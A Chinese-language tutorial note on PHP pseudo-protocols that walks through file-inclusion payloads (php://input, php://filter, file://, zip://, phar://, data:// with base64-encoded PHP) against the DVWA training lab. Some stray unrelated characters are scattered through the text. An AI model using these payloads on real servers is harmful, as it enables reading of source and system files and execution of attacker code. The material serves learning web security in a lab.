PHP偽協(xié)議:
協(xié)議 | 功能 |
---|---|
file:// | 訪問本地文件设拟,需要絕對路徑 |
http:// | 訪問http/https |
ftp:// | 訪問ftp |
zlib:// | 壓縮流 |
data:// | 數(shù)據(jù)(RFC 2397) |
glob:// | 查找匹配的文件路徑模式 |
phar:// | php歸檔 |
ssh2::// | secure shell 2 |
rar:// | RAR |
ogg:// | 音頻流 |
expect:// | 處理式交互流 |
php:// | 訪問各個輸入/輸出流 |
部分協(xié)議會受到配置文件中allow_url_fopen和allow_url_include所影響
偽協(xié)議在攻防中锭沟,通常被文件包含漏洞或者xxe所利用
php://
不受allow_url_fopen影響
php://input茴晋、php://stdin、php://memory拾氓、php://temp受allow_url_include影響
php://input
可以訪問POST的內容
當enctype="multipart/from-data"時呐萨,php://input無效
在文件包含頁面:http://192.168.83.33/DVWA/vulnerabilities/fi/?page=php://input
post提交<?php phpinfo()?>
php://filter
php://filter可以讀寫文件
在文件包含頁面讀取源碼:http://192.168.83.33/DVWA/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=index.php
讀出的源碼經(jīng)過了base64編碼酱鸭,不經(jīng)過base64編碼的話會直接執(zhí)行
file://
不受allow_url_fopen和allow_url_include影響
使用方法: file://+[文件絕對路徑]
在文件包含頁面:http://192.168.83.33/DVWA/vulnerabilities/fi/?page=file://c:/windows/win.ini
成功讀取到win.ini的內容
zip://、bzip://垛吗、zlib://
不受allow_url_fopen和allow_url_include影響
使用方法:zip://[壓縮包絕對路徑]#[壓縮包文件的子文件名]
寫入<?php phpinfo();?>到1.txt并壓縮到c://1.zip
在文件包含頁面:http://192.168.83.33/DVWA/vulnerabilities/fi/?page=zip://c:/1.zip%231.txt (這里我用#號會報錯凹髓,所以使用了%23)
data://
受allow_url_fopen和allow_url_include影響
可以利用該協(xié)議執(zhí)行代碼
page=data://text/plain,<?php phpinfo()?>
如果有符號被過濾可以試試base64編碼page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
phar://
寫入<?php phpinfo();?>到1.txt并壓縮到c://1.zip,改后綴名為1.jpg
在文件包含頁面:http://192.168.83.33/DVWA/vulnerabilities/fi/?page=phar://c:/1.jpg/1.txt
可以看到這樣也可以執(zhí)行php代碼